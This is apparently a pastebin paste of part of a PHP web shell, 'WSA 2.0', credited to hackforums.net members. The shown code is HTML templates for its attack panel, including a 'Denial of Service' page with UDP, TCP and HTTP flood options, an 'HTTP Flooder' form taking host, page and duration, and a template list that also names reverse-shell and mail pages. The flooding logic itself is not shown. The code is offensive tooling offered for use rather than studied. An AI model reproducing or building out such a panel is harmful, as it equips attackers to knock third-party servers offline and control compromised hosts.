- .' Port<br>'
- .''
- .' <input type="text" name="p3" value="" ><br>'
- .''
- .' Time<br>'
- .' <input type="text" name="p4"><br>'
- .' <input type="hidden" name="a" value="5" />'
- .' <input type="hidden" name="p1" value="udp" />'
- .' <input type="submit" value=">>" /><br>'
- .' </form>'
- .' <div class="results">';
- private $httpHTML = '<!-- content -->'
- .' <div class="activepage">'
- .' <div class="activetitle">'
- .' <h1>Denial of Service</h1>'
- .' </div>'
- .' <div class="activecontent">'
- .' <span>Change method</span>'
- .' <br>'
- .' <br>'
- .' <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
- .' <input type="hidden" name="a" value="5" />'
- .' <select size="1" name="p1">'
- .' <option value="udp">UDP Flood</option>'
- .' <option value="tcp">TCP Flood</option>'
- .' <option value="http">HTTP Flood</option>'
- .' </select><br>'
- .' <input type="submit" value=">>" /><br>'
- .' </form>'
- .' <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,null,this.p4.value,this.p5.value);return false;">'
- .''
- .' <span>"HTTP Flooder</span><br>'
- .''
- .' Host<br>'
- .''
- .' <input type="text" name="p2" ><br>'
- .''
- .' Page<br>'
- .''
- .' <input type="text" name="p5" value="" ><br>'
- .''
- .' Time<br>'
- .' <input type="text" name="p4"><br>'
- .' <input type="hidden" name="a" value="5" />'
- .' <input type="hidden" name="p1" value="http" />'
- .' <input type="submit" value=">>" /><br>'
- .' </form>'
- .' <div class="results">';
- private $footerHTML = '<!-- footer -->'
- .' </div></div>'
- .' <div class="footerwrapper">'
- .' <div class="footerLeft">'
- .''
- .' </div>'
- .' <div class="footerCenter">'
- .' <center><span>WSA</span> 2.0 created by <a href="http://hackforums.net/member.php?action=profile&uid=2050895">allhellno</a> & <a href="http://hackforums.net/member.php?action=profile&uid=3091672">Helzor</a></center>'
- .' </div>'
- .' <div class="footerRight">'
- .''
- .' </div>'
- .' </div>'
- .' </div>'
- .'</body>'
- .'</html>';
- private $chunks = array("header" => "headerHTML", "footer" => "footerHTML", "main" => "mainHTML", "mail" => "mailHTML", "resolve" => "resolveHTML", "reverse" => "reverseHTML", "tcp" => "tcpHTML", "udp" => "udpHTML", "http" => "httpHTML");
- protected function fetchHtml($chunk) {
- if(array_key_exists($chunk, $this->chunks)) {
- $html = $this->chunks[$chunk];
- return $this->$html;
- }
- else {
- return false;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement